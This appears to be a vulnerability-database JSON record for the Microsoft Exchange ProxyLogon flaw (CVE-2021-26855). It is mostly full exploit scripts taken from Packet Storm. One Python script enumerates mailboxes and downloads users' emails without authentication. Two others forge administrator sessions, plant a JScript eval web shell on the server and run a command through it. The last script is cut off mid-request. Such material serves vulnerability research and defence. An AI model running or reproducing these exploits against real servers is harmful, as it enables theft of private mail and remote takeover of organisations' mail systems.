"CVE-2021-22894", "CVE-2021-22899", "CVE-2021-22900", "CVE-2021-26411", "CVE-2021-26855", "CVE-2021-26857", "CVE-2021-26858", "CVE-2021-27059", "CVE-2021-27065", "CVE-2021-27085", "CVE-2021-28310", "CVE-2021-28550", "CVE-2021-30116", "CVE-2021-30551", "CVE-2021-30554", "CVE-2021-30563", "CVE-2021-30632", "CVE-2021-30633", "CVE-2021-31199", "CVE-2021-31201", "CVE-2021-31207", "CVE-2021-31955", "CVE-2021-31956", "CVE-2021-31979", "CVE-2021-33739", "CVE-2021-33742", "CVE-2021-33766", "CVE-2021-33771", "CVE-2021-34448", "CVE-2021-34473", "CVE-2021-34523", "CVE-2021-34527", "CVE-2021-35211", "CVE-2021-35247", "CVE-2021-36741", "CVE-2021-36742", "CVE-2021-36934", "CVE-2021-36942", "CVE-2021-36948", "CVE-2021-36955", "CVE-2021-37415", "CVE-2021-37973", "CVE-2021-37975", "CVE-2021-37976", "CVE-2021-38000", "CVE-2021-38003", "CVE-2021-38645", "CVE-2021-38647", "CVE-2021-38648", "CVE-2021-38649", "CVE-2021-40438", "CVE-2021-40444", "CVE-2021-40449", "CVE-2021-40539", "CVE-2021-4102", "CVE-2021-41773", "CVE-2021-42013", "CVE-2021-42292", "CVE-2021-42321", "CVE-2021-43890", "CVE-2021-44077", "CVE-2021-44228", "CVE-2021-44515", "CVE-2022-0609", "CVE-2022-21882", "CVE-2022-24086"], "modified": "2022-02-23T05:39:00", "id": "QUALYSBLOG:0082A77BD8EFFF48B406D107FEFD0DD3", "href": "https://blog.qualys.com/category/product-tech", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "nessus": [{"lastseen": "2023-01-11T14:46:17", "description": "The Microsoft Exchange running on the remote host is affected by an authentication bypass vulnerability. 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"title": "Microsoft Exchange 2019 Unauthenticated Email Download", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2021-26855"], "modified": "2021-05-18T00:00:00", "id": "PACKETSTORM:162610", "href": "https://packetstormsecurity.com/files/162610/Microsoft-Exchange-2019-Unauthenticated-Email-Download.html", "sourceData": "`# Exploit Title: Microsoft Exchange 2019 - Unauthenticated Email Download \n# Date: 03-11-2021 \n# Exploit Author: Gonzalo Villegas a.k.a Cl34r \n# Vendor Homepage: https://www.microsoft.com/ \n# Version: OWA Exchange 2013 - 2019 \n# Tested on: OWA 2016 \n# CVE : CVE-2021-26855 \n# Details: checking users mailboxes and automated downloads of emails \n \nimport requests \nimport argparse \nimport time \n \nfrom requests.packages.urllib3.exceptions import InsecureRequestWarning \nrequests.packages.urllib3.disable_warnings(InsecureRequestWarning) \n \n__proxies__ = {\"http\": \"http://127.0.0.1:8080\", \n\"https\": \"https://127.0.0.1:8080\"} # for debug on proxy \n \n \n# needs to specifies mailbox, will return folder Id if account exists \npayload_get_folder_id = \"\"\"<?xml version=\"1.0\" encoding=\"utf-8\"?> \n<soap:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" \nxmlns:m=\"http://schemas.microsoft.com/exchange/services/2006/messages\" \nxmlns:t=\"http://schemas.microsoft.com/exchange/services/2006/types\" \nxmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\"> \n<soap:Body> \n<m:GetFolder> \n<m:FolderShape> \n<t:BaseShape>AllProperties</t:BaseShape> \n</m:FolderShape> \n<m:FolderIds> \n<t:DistinguishedFolderId Id=\"inbox\"> \n<t:Mailbox> \n<t:EmailAddress>{}</t:EmailAddress> \n</t:Mailbox> \n</t:DistinguishedFolderId> \n</m:FolderIds> \n</m:GetFolder> \n</soap:Body> \n</soap:Envelope> \n \n\"\"\" \n# needs to specifies Folder Id and ChangeKey, will return a list of messages Ids (emails) \npayload_get_items_id_folder = \"\"\"<?xml version=\"1.0\" encoding=\"utf-8\"?> \n<soap:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" \nxmlns:m=\"http://schemas.microsoft.com/exchange/services/2006/messages\" \nxmlns:t=\"http://schemas.microsoft.com/exchange/services/2006/types\" \nxmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\"> \n<soap:Body> \n<m:FindItem Traversal=\"Shallow\"> \n<m:ItemShape> \n<BaseShape>AllProperties</BaseShape></m:ItemShape> \n<SortOrder/> \n<m:ParentFolderIds> \n<t:FolderId Id=\"{}\" ChangeKey=\"{}\"/> \n</m:ParentFolderIds> \n<QueryString/> \n</m:FindItem> \n</soap:Body> \n</soap:Envelope> \n\"\"\" \n \n# needs to specifies Id (message Id) and ChangeKey (of message too), will return an email from mailbox \npayload_get_mail = \"\"\"<?xml version=\"1.0\" encoding=\"utf-8\"?> \n<soap:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" \nxmlns:m=\"http://schemas.microsoft.com/exchange/services/2006/messages\" \nxmlns:t=\"http://schemas.microsoft.com/exchange/services/2006/types\" \nxmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\"> \n<soap:Body> \n<GetItem xmlns=\"http://schemas.microsoft.com/exchange/services/2006/messages\" \nxmlns:t=\"http://schemas.microsoft.com/exchange/services/2006/types\" Traversal=\"Shallow\"> \n<ItemShape> \n<t:BaseShape>Default</t:BaseShape> \n</ItemShape> \n<ItemIds> \n<t:ItemId Id=\"{}\" ChangeKey=\"{}\"/> \n</ItemIds> \n</GetItem> \n</soap:Body> \n</soap:Envelope> \n\"\"\" \n \n \ndef getFQDN(url): \nprint(\"[*] Getting FQDN from headers\") \nrs = requests.post(url + \"/owa/auth.owa\", verify=False, data=\"evildata\") \nif \"X-FEServer\" in rs.headers: \nreturn rs.headers[\"X-FEServer\"] \nelse: \nprint(\"[-] Can't get FQDN \") \nexit(0) \n \n \ndef extractEmail(url, uri, user, fqdn, content_folderid, path): \nheaders = {\"Cookie\": \"X-BEResource={}/EWS/Exchange.asmx?a=~1942062522\".format(fqdn), \n\"Content-Type\": \"text/xml\", \n\"User-Agent\": \"Mozilla pwner\"} \nfrom xml.etree import ElementTree as ET \ndom = ET.fromstring(content_folderid) \nfor p in dom.findall('.//{http://schemas.microsoft.com/exchange/services/2006/types}Folder'): \nid_folder = p[0].attrib.get(\"Id\") \nchange_key_folder = p[0].attrib.get(\"ChangeKey\") \ndata = payload_get_items_id_folder.format(id_folder, change_key_folder) \nrandom_uris = [\"auth.js\", \"favicon.ico\", \"ssq.js\", \"ey37sj.js\"] \nrs = requests.post(url + uri, data=data, headers=headers, verify=False) \nif \"ErrorAccessDenied\" in rs.text: \nprint(\"[*] Denied ;(.. retrying\") \nt_uri = uri.split(\"/\")[-1] \nfor ru in random_uris: \nprint(\"[*] Retrying with {}\".format(uri.replace(t_uri, ru))) \nrs = requests.post(url + uri.replace(t_uri, ru), data=data, headers=headers, verify=False) \nif \"NoError\" in rs.text: \nprint(\"[+] data found, dowloading email\") \nbreak \nprint(\"[+]Getting mails...\") \ndom_messages = ET.fromstring(rs.text) \nmessages = dom_messages.find('.//{http://schemas.microsoft.com/exchange/services/2006/types}Items') \nfor m in messages: \nid_message = m[0].attrib.get(\"Id\") \nchange_key_message = m[0].attrib.get(\"ChangeKey\") \ndata = payload_get_mail.format(id_message, change_key_message) \nrandom_uris = [\"auth.js\", \"favicon.ico\", \"ssq.js\", \"ey37sj.js\"] \nrs = requests.post(url + uri, data=data, headers=headers, verify=False) \nif \"ErrorAccessDenied\" in rs.text: \nprint(\"[*] Denied ;(.. retrying\") \nt_uri = uri.split(\"/\")[-1] \nfor ru in random_uris: \nprint(\"[*] Retrying with {}\".format(uri.replace(t_uri, ru))) \nrs = requests.post(url + uri.replace(t_uri, ru), data=data, headers=headers, verify=False) \nif \"NoError\" in rs.text: \nprint(\"[+] data found, downloading email\") \nbreak \n \ntry: \nf = open(path + \"/\" + user.replace(\"@\", \"_\").replace(\".\", \"_\")+\"_\"+change_key_message.replace(\"/\", \"\").replace(\"\\\\\", \"\")+\".xml\", 'w+') \nf.write(rs.text) \nf.close() \nexcept Exception as e: \nprint(\"[!] Can't write .xml file to path (email): \", e) \n \n \ndef checkURI(url, fqdn): \nheaders = {\"Cookie\": \"X-BEResource={}/EWS/Exchange.asmx?a=~1942062522\".format(fqdn), \n\"Content-Type\": \"text/xml\", \n\"User-Agent\": \"Mozilla hehe\"} \narr_uri = [\"//ecp/xxx.js\", \"/ecp/favicon.ico\", \"/ecp/auth.js\"] \nfor uri in arr_uri: \nrs = requests.post(url + uri, verify=False, data=payload_get_folder_id.format(\"thisisnotanvalidmail@pwn.local\"), \nheaders=headers) \n#print(rs.content) \nif rs.status_code == 200 and \"MessageText\" in rs.text: \nprint(\"[+] Valid URI:\", uri) \ncalculated_domain = rs.headers[\"X-CalculatedBETarget\"].split(\".\") \nif calculated_domain[-2] in (\"com\", \"gov\", \"gob\", \"edu\", \"org\"): \ncalculated_domain = calculated_domain[-3] + \".\" + calculated_domain[-2] + \".\" + calculated_domain[-1] \nelse: \ncalculated_domain = calculated_domain[-2] + \".\" + calculated_domain[-1] \nreturn uri, calculated_domain \n#time.sleep(1) \nprint(\"[-] No valid URI found ;(\") \nexit(0) \n \n \ndef checkEmailBoxes(url, uri, user, fqdn, path): \nheaders = {\"Cookie\": \"X-BEResource={}/EWS/Exchange.asmx?a=~1942062522\".format(fqdn), \n\"Content-Type\": \"text/xml\", \n\"User-Agent\": \"Mozilla hehe\"} \nrs = requests.post(url + uri, verify=False, data=payload_get_folder_id.format(user), \nheaders=headers) \n#time.sleep(1) \n#print(rs.content) \nif \"ResponseCode\" in rs.text and \"ErrorAccessDenied\" in rs.text: \nprint(\"[*] Valid Email: {} ...but not authenticated ;( maybe not vulnerable\".format(user)) \nif \"ResponseCode\" in rs.text and \"NoError\" in rs.text: \nprint(\"[+] Valid Email Found!: {}\".format(user)) \nextractEmail(url, uri, user, fqdn, rs.text, path) \nif \"ResponseCode\" in rs.text and \"ErrorNonExistentMailbox\" in rs.text: \nprint(\"[-] Not Valid Email: {}\".format(user)) \n \n \ndef main(): \n__URL__ = None \n__FQDN__ = None \n__mailbox_domain__ = None \n__path__ = None \nprint(\"[***** OhhWAA *****]\") \nparser = argparse.ArgumentParser(usage=\"Basic usage python %(prog)s -u <url> -l <users.txt> -p <path>\") \nparser.add_argument('-u', \"--url\", help=\"Url, provide schema and not final / (eg https://example.org)\", required=True) \nparser.add_argument('-l', \"--list\", help=\"Users mailbox list\", required=True) \nparser.add_argument(\"-p\", \"--path\", help=\"Path to write emails in xml format\", required=True) \nparser.add_argument('-f', \"--fqdn\", help=\"FQDN\", required=False, default=None) \nparser.add_argument(\"-d\", \"--domain\", help=\"Domain to check mailboxes (eg if .local dont work)\", required=False, default=None) \nargs = parser.parse_args() \n__URL__ = args.url \n__FQDN__ = args.fqdn \n__mailbox_domain__ = args.domain \n__list_users__ = args.list \n__valid_users__ = [] \n__path__ = args.path \nif not __FQDN__: \n__FQDN__ = getFQDN(__URL__) \nprint(\"[+] Got FQDN:\", __FQDN__) \n \nvalid_uri, calculated_domain = checkURI(__URL__, __FQDN__) \n \nif not __mailbox_domain__: \n__mailbox_domain__ = calculated_domain \n \nlist_users = open(__list_users__, \"r\") \nfor user in list_users: \ncheckEmailBoxes(__URL__, valid_uri, user.strip()+\"@\"+__mailbox_domain__, __FQDN__, __path__) \n \nprint(\"[!!!] FINISHED OhhWAA\") \n \n \nif __name__ == '__main__': \nmain() \n \n`\n", "sourceHref": "https://packetstormsecurity.com/files/download/162610/msexchange2019-disclose.txt", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-03-18T14:17:14", "description": "", "cvss3": {}, "published": "2021-03-18T00:00:00", "type": "packetstorm", "title": "Microsoft Exchange 2019 SSRF / Arbitrary File Write ", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2021-26855"], "modified": "2021-03-18T00:00:00", "id": "PACKETSTORM:161846", "href": "https://packetstormsecurity.com/files/161846/Microsoft-Exchange-2019-SSRF-Arbitrary-File-Write.html", "sourceData": "`import requests \nfrom urllib3.exceptions import InsecureRequestWarning \nimport random \nimport string \nimport sys \n \n \ndef id_generator(size=6, chars=string.ascii_lowercase + string.digits): \nreturn ''.join(random.choice(chars) for _ in range(size)) \n \nif len(sys.argv) < 2: \nprint(\"\u4f7f\u7528\u65b9\u5f0f: python PoC.py <target> <email>\") \nprint(\"\u4f7f\u7528\u65b9\u5f0f: python PoC.py mail.btwaf.cn test2@btwaf.cn\") \nexit() \n \nproxies = {\"http\": \"http://127.0.0.1:8080\", \"https\": \"http://127.0.0.1:8080\"} \nrequests.packages.urllib3.disable_warnings(category=InsecureRequestWarning) \ntarget = sys.argv[1] \nemail = sys.argv[2] \nrandom_name = id_generator(4) + \".js\" \nuser_agent = \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36\" \n \nshell_path = \"Program Files\\\\Microsoft\\\\Exchange Server\\\\V15\\\\FrontEnd\\\\HttpProxy\\\\owa\\\\auth\\\\test11.aspx\" \nshell_absolute_path = \"\\\\\\\\127.0.0.1\\\\c$\\\\%s\" % shell_path \n \n# webshell-\u9a6c\u5b50\u5185\u5bb9 \nshell_content = '<script language=\"JScript\" runat=\"server\"> function Page_Load(){/**/eval(Request[\"code\"],\"unsafe\");}</script>' \n \nautoDiscoverBody = \"\"\"<Autodiscover xmlns=\"http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006\"> \n<Request> \n<EMailAddress>%s</EMailAddress> <AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema> \n</Request> \n</Autodiscover> \n\"\"\" % email \n \nprint(\"\u6b63\u5728\u83b7\u53d6Exchange Server \" + target+\"\u6743\u9650\") \nprint(\"=============================\") \nFQDN = \"EXCHANGE01\" \nct = requests.get(\"https://%s/ecp/%s\" % (target, random_name), headers={\"Cookie\": \"X-BEResource=localhost~1942062522\", \n\"User-Agent\": user_agent}, \nverify=False,proxies=proxies) \n \nif \"X-CalculatedBETarget\" in ct.headers and \"X-FEServer\" in ct.headers: \nFQDN = ct.headers[\"X-FEServer\"] \n \n \nct = requests.post(\"https://%s/ecp/%s\" % (target, random_name), headers={ \n\"Cookie\": \"X-BEResource=%s/autodiscover/autodiscover.xml?a=~1942062522;\" % FQDN, \n\"Content-Type\": \"text/xml\", \n\"User-Agent\": user_agent}, \ndata=autoDiscoverBody, \nproxies=proxies, \nverify=False \n) \n \nif ct.status_code != 200: \nprint(ct.status_code) \nprint(\"Autodiscover Error!\") \nexit() \n \nif \"<LegacyDN>\" not in str(ct.content): \nprint(\"Can not get LegacyDN!\") \nexit() \n \nlegacyDn = str(ct.content).split(\"<LegacyDN>\")[1].split(r\"</LegacyDN>\")[0] \nprint(\"Got DN: \" + legacyDn) \n \nmapi_body = legacyDn + \"\\x00\\x00\\x00\\x00\\x00\\xe4\\x04\\x00\\x00\\x09\\x04\\x00\\x00\\x09\\x04\\x00\\x00\\x00\\x00\\x00\\x00\" \n \nct = requests.post(\"https://%s/ecp/%s\" % (target, random_name), headers={ \n\"Cookie\": \"X-BEResource=Administrator@%s:444/mapi/emsmdb?MailboxId=f26bc937-b7b3-4402-b890-96c46713e5d5@exchange.lab&a=~1942062522;\" % FQDN, \n\"Content-Type\": \"application/mapi-http\", \n\"X-Requesttype\": \"Connect\", \n\"X-Clientinfo\": \"{2F94A2BF-A2E6-4CCCC-BF98-B5F22C542226}\", \n\"X-Clientapplication\": \"Outlook/15.0.4815.1002\", \n\"X-Requestid\": \"{E2EA6C1C-E61B-49E9-9CFB-38184F907552}:123456\", \n\"User-Agent\": user_agent \n}, \ndata=mapi_body, \nverify=False, \nproxies=proxies \n) \nif ct.status_code != 200 or \"act as owner of a UserMailbox\" not in str(ct.content): \nprint(\"Mapi Error!\") \nexit() \n \nsid = str(ct.content).split(\"with SID \")[1].split(\" and MasterAccountSid\")[0] \n \nprint(\"Got SID: \" + sid) \nsid = sid.replace(sid.split(\"-\")[-1],\"500\") \n \nproxyLogon_request = \"\"\"<r at=\"Negotiate\" ln=\"john\"><s>%s</s><s a=\"7\" t=\"1\">S-1-1-0</s><s a=\"7\" t=\"1\">S-1-5-2</s><s a=\"7\" t=\"1\">S-1-5-11</s><s a=\"7\" t=\"1\">S-1-5-15</s><s a=\"3221225479\" t=\"1\">S-1-5-5-0-6948923</s></r> \n\"\"\" % sid \n \nct = requests.post(\"https://%s/ecp/%s\" % (target, random_name), headers={ \n\"Cookie\": \"X-BEResource=Administrator@%s:444/ecp/proxyLogon.ecp?a=~1942062522;\" % FQDN, \n\"Content-Type\": \"text/xml\", \n\"msExchLogonMailbox\": \"S-1-5-20\", \n\"User-Agent\": user_agent \n}, \ndata=proxyLogon_request, \nproxies=proxies, \nverify=False \n) \nif ct.status_code != 241 or not \"set-cookie\" in ct.headers: \nprint(\"Proxylogon Error!\") \nexit() \n \nsess_id = ct.headers['set-cookie'].split(\"ASP.NET_SessionId=\")[1].split(\";\")[0] \n \nmsExchEcpCanary = ct.headers['set-cookie'].split(\"msExchEcpCanary=\")[1].split(\";\")[0] \nprint(\"Got session id: \" + sess_id) \nprint(\"Got canary: \" + msExchEcpCanary) \n \nct = requests.post(\"https://%s/ecp/%s\" % (target, random_name), headers={ \n\"Cookie\": \"X-BEResource=Administrator@%s:444/ecp/DDI/DDIService.svc/GetObject?schema=OABVirtualDirectory&msExchEcpCanary=%s&a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s\" % ( \nFQDN, msExchEcpCanary, sess_id, msExchEcpCanary), \n\"Content-Type\": \"application/json; \", \n\"msExchLogonMailbox\": \"S-1-5-20\", \n\"User-Agent\": user_agent \n \n}, \njson={\"filter\": { \n\"Parameters\": {\"__type\": \"JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel\", \n\"SelectedView\": \"\", \"SelectedVDirType\": \"All\"}}, \"sort\": {}}, \nverify=False \n) \n \nif ct.status_code != 200: \nprint(\"GetOAB Error!\") \nexit() \noabId = str(ct.content).split('\"RawIdentity\":\"')[1].split('\"')[0] \nprint(\"Got OAB id: \" + oabId) \n \noab_json = {\"identity\": {\"__type\": \"Identity:ECP\", \"DisplayName\": \"OAB (Default Web Site)\", \"RawIdentity\": oabId}, \n\"properties\": { \n\"Parameters\": {\"__type\": \"JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel\", \n\"ExternalUrl\": \"http://ffff/#%s\" % shell_content}}} \n \nct = requests.post(\"https://%s/ecp/%s\" % (target, random_name), headers={ \n\"Cookie\": \"X-BEResource=Administrator@%s:444/ecp/DDI/DDIService.svc/SetObject?schema=OABVirtualDirectory&msExchEcpCanary=%s&a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s\" % ( \nFQDN, msExchEcpCanary, sess_id, msExchEcpCanary), \n\"msExchLogonMailbox\": \"S-1-5-20\", \n\"Content-Type\": \"application/json; charset=utf-8\", \n\"User-Agent\": user_agent \n}, \njson=oab_json, \nverify=False \n) \nif ct.status_code != 200: \nprint(\"Set external url Error!\") \nexit() \n \nreset_oab_body = {\"identity\": {\"__type\": \"Identity:ECP\", \"DisplayName\": \"OAB (Default Web Site)\", \"RawIdentity\": oabId}, \n\"properties\": { \n\"Parameters\": {\"__type\": \"JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel\", \n\"FilePathName\": shell_absolute_path}}} \n \nct = requests.post(\"https://%s/ecp/%s\" % (target, random_name), headers={ \n\"Cookie\": \"X-BEResource=Administrator@%s:444/ecp/DDI/DDIService.svc/SetObject?schema=ResetOABVirtualDirectory&msExchEcpCanary=%s&a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s\" % ( \nFQDN, msExchEcpCanary, sess_id, msExchEcpCanary), \n\"msExchLogonMailbox\": \"S-1-5-20\", \n\"Content-Type\": \"application/json; charset=utf-8\", \n\"User-Agent\": user_agent \n}, \njson=reset_oab_body, \nverify=False \n) \n \nif ct.status_code != 200: \nprint(\"\u5199\u5165shell\u5931\u8d25\u4e86\u554a\") \nexit() \n \nprint(\"\u6210\u529f\u4e86\u3002\u9a6c\u4e0a\u5c31\u9a8c\u8bc1shell\u662f\u5426OK!\") \nprint(\"POST shell:https://\"+target+\"/owa/auth/test11.aspx\") \nshell_url=\"https://\"+target+\"/owa/auth/test11.aspx\" \nprint('code=Response.Write(new ActiveXObject(\"WScript.Shell\").exec(\"whoami\").StdOut.ReadAll());') \nprint(\"\u6b63\u5728\u8bf7\u6c42shell\") \ndata=requests.post(shell_url,data={\"code\":\"Response.Write(new ActiveXObject(\\\"WScript.Shell\\\").exec(\\\"whoami\\\").StdOut.ReadAll());\"},verify=False) \nif data.status_code != 200: \nprint(\"\u5199\u5165shell\u5931\u8d25\") \nelse: \nprint(\"\u6743\u9650\u5982\u4e0b\uff1a\"+data.text.split(\"OAB (Default Web Site)\")[0].replace(\"Name : \",\"\")) \n \n`\n", "sourceHref": "https://packetstormsecurity.com/files/download/161846/msexchange2019-ssrfexec.txt", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-03-15T21:46:57", "description": "", "cvss3": {}, "published": "2021-03-11T00:00:00", "type": "packetstorm", "title": "Microsoft Exchange Proxylogon SSRF Proof Of Concept", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2021-26855"], "modified": "2021-03-11T00:00:00", "id": "PACKETSTORM:161806", "href": "https://packetstormsecurity.com/files/161806/Microsoft-Exchange-Proxylogon-SSRF-Proof-Of-Concept.html", "sourceData": "`# Original Author: testanull https://github.com/testanull https://twitter.com/testanull \n# PoC of proxylogon chain SSRF(CVE-2021-26855) to write file \n# Original \"Archive\" https://web.archive.org/web/20210310164403/https://gist.github.com/testanull/fabd8eeb46f120c4b15f8793617ca7d1 \n \nimport requests \nfrom urllib3.exceptions import InsecureRequestWarning \nimport random \nimport string \nimport sys \n \n \ndef id_generator(size=6, chars=string.ascii_lowercase + string.digits): \nreturn ''.join(random.choice(chars) for _ in range(size)) \n \nif len(sys.argv) < 2: \nprint(\"Usage: python PoC.py <target> <email>\") \nprint(\"Example: python PoC.py mail.evil.corp haxor@evil.corp\") \nexit() \nrequests.packages.urllib3.disable_warnings(category=InsecureRequestWarning) \ntarget = sys.argv[1] \nemail = sys.argv[2] \nrandom_name = id_generator(3) + \".js\" \nuser_agent = \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36\" \n \nshell_path = \"Program Files\\\\Microsoft\\\\Exchange Server\\\\V15\\\\FrontEnd\\\\HttpProxy\\\\owa\\\\auth\\\\ahihi.aspx\" \nshell_absolute_path = \"\\\\\\\\127.0.0.1\\\\c$\\\\%s\" % shell_path \n \nshell_content = '<script language=\"JScript\" runat=\"server\"> function Page_Load(){/**/eval(Request[\"exec_code\"],\"unsafe\");}</script>' \nlegacyDnPatchByte = \"68747470733a2f2f696d6775722e636f6d2f612f7a54646e5378670a0a0a0a0a0a0a0a\" \nautoDiscoverBody = \"\"\"<Autodiscover xmlns=\"http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006\"> \n<Request> \n<EMailAddress>%s</EMailAddress> <AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema> \n</Request> \n</Autodiscover> \n\"\"\" % email \n \nprint(\"Attacking target \" + target) \nprint(\"=============================\") \nprint(legacyDnPatchByte.decode('hex')) \nFQDN = \"EXCHANGE\" \nct = requests.get(\"https://%s/ecp/%s\" % (target, random_name), headers={\"Cookie\": \"X-BEResource=localhost~1942062522\", \n\"User-Agent\": user_agent}, \nverify=False) \nif \"X-CalculatedBETarget\" in ct.headers and \"X-FEServer\" in ct.headers: \nFQDN = ct.headers[\"X-FEServer\"] \n \nct = requests.post(\"https://%s/ecp/%s\" % (target, random_name), headers={ \n\"Cookie\": \"X-BEResource=%s/autodiscover/autodiscover.xml?a=~1942062522;\" % FQDN, \n\"Content-Type\": \"text/xml\", \n\"User-Agent\": user_agent}, \ndata=autoDiscoverBody, \nverify=False \n) \nif ct.status_code != 200: \nprint(\"Autodiscover Error!\") \nexit() \nif \"<LegacyDN>\" not in ct.content: \nprint(\"Can not get LegacyDN!\") \nexit() \n \nlegacyDn = ct.content.split(\"<LegacyDN>\")[1].split(\"</LegacyDN>\")[0] \nprint(\"Got DN: \" + legacyDn) \n \nmapi_body = legacyDn + \"\\x00\\x00\\x00\\x00\\x00\\xe4\\x04\\x00\\x00\\x09\\x04\\x00\\x00\\x09\\x04\\x00\\x00\\x00\\x00\\x00\\x00\" \n \nct = requests.post(\"https://%s/ecp/%s\" % (target, random_name), headers={ \n\"Cookie\": \"X-BEResource=Admin@%s:444/mapi/emsmdb?MailboxId=f26bc937-b7b3-4402-b890-96c46713e5d5@exchange.lab&a=~1942062522;\" % FQDN, \n\"Content-Type\": \"application/mapi-http\", \n\"User-Agent\": user_agent \n}, \ndata=mapi_body, \nverify=False \n) \nif ct.status_code != 200 or \"act as owner of a UserMailbox\" not in ct.content: \nprint(\"Mapi Error!\") \nexit() \n \nsid = ct.content.split(\"with SID \")[1].split(\" and MasterAccountSid\")[0] \n \nprint(\"Got SID: \" + sid) \n \nproxyLogon_request = \"\"\"<r at=\"Negotiate\" ln=\"john\"><s>%s</s><s a=\"7\" t=\"1\">S-1-1-0</s><s a=\"7\" t=\"1\">S-1-5-2</s><s a=\"7\" t=\"1\">S-1-5-11</s><s a=\"7\" t=\"1\">S-1-5-15</s><s a=\"3221225479\" t=\"1\">S-1-5-5-0-6948923</s></r> \n\"\"\" % sid \n \nct = requests.post(\"https://%s/ecp/%s\" % (target, random_name), headers={ \n\"Cookie\": \"X-BEResource=Admin@%s:444/ecp/proxyLogon.ecp?a=~1942062522;\" % FQDN, \n\"Content-Type\": \"text/xml\", \n\"User-Agent\": user_agent \n}, \ndata=proxyLogon_request, \nverify=False \n) \nif ct.status_code != 241 or not \"set-cookie\" in ct.headers: \nprint(\"Proxylogon Error!\") \nexit() \n \nsess_id = ct.headers['set-cookie'].split(\"ASP.NET_SessionId=\")[1].split(\";\")[0] \n \nmsExchEcpCanary = ct.headers['set-cookie'].split(\"msExchEcpCanary=\")[1].split(\";\")[0] \nprint(\"Got session id: \" + sess_id) \nprint(\"Got canary: \" + msExchEcpCanary) \n \nct = requests.get(\"https://%s/ecp/%s\" % (target, random_name), headers={ \n\"Cookie\": \"X-BEResource=Admin@%s:444/ecp/about.aspx?a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s\" % ( \nFQDN, sess_id, msExchEcpCanary), \n\"User-Agent\": user_agent \n}, \nverify=False \n) \nif ct.status_code != 200: \nprint(\"Wrong canary!\") \nprint(\"Sometime we can skip this ...\") \nrbacRole = ct.content.split(\"RBAC roles:</span> <span class='diagTxt'>\")[1].split(\"</span>\")[0] \n# print \"Got rbacRole: \"+ rbacRole \n \nprint(\"=========== It means good to go!!!====\") \n \nct = requests.post(\"https://%s/ecp/%s\" % (target, random_name), headers={ \n\"Cookie\": \"X-BEResource=Admin@%s:444/ecp/DDI/DDIService.svc/GetObject?schema=OABVirtualDirectory&msExchEcpCanary=%s&a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s\" % ( \nFQDN, msExchEcpCanary, sess_id, msExchEcpCanary), \n\"Content-Type\": \"application/json; charset=utf-8\", \n\"User-Agent\": user_agent \n \n}, \njson={\"filter\": { \n\"Parameters\": {\"__type\": \"JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel\", \n\"SelectedView\": \"\", \"SelectedVDirType\": \"All\"}}, \"sort\": {}}, \nverify=False \n) \nif ct.status_code != 200: \nprint(\"GetOAB Error!\") \nexit() \noabId = ct.content.split('\"RawIdentity\":\"')[1].split('\"')[0] \nprint(\"Got OAB id: \" + oabId) \n \noab_json = {\"identity\": {\"__type\": \"Identity:ECP\", \"DisplayName\": \"OAB (Default Web Site)\", \"RawIdentity\": oabId}, \n\"properties\": { \n\"Parameters\": {\"__type\": \"JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel\", \n\"ExternalUrl\": \"http://ffff/#%s\" % shell_content}}} \n \nct = requests.post(\"https://%s/ecp/%s\" % (target, random_name), headers={ \n\"Cookie\": \"X-BEResource=Admin@%s:444/ecp/DDI/DDIService.svc/SetObject?schema=OABVirtualDirectory&msExchEcpCanary=%s&a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s\" % ( \nFQDN, msExchEcpCanary, sess_id, msExchEcpCanary), \n\"Content-Type\": \"application/json; charset=utf-8\", \n\"User-Agent\": user_agent \n}, \njson=oab_json, \nverify=False \n) \nif ct.status_code != 200: \nprint(\"Set external url Error!\") \nexit() \n \nreset_oab_body = {\"identity\": {\"__type\": \"Identity:ECP\", \"DisplayName\": \"OAB (Default Web Site)\", \"RawIdentity\": oabId}, \n\"properties\": { \n\"Parameters\": {\"__type\": \"JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel\", \n\"FilePathName\": shell_absolute_path}}} \n \nct = requests.post(\"https://%s/ecp/%s\" % (target, random_name), headers={ \n\"Cookie\": \"X-BEResource=Admin@%s:444/ecp/DDI/DDIService.svc/SetObject?schema=ResetOABVirtualDirectory&msExchEcpCanary=%s&a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s\" % ( \nFQDN, msExchEcpCanary, sess_id, msExchEcpCanary), \n\"Content-Type\": \"application/json; charset=utf-8\", 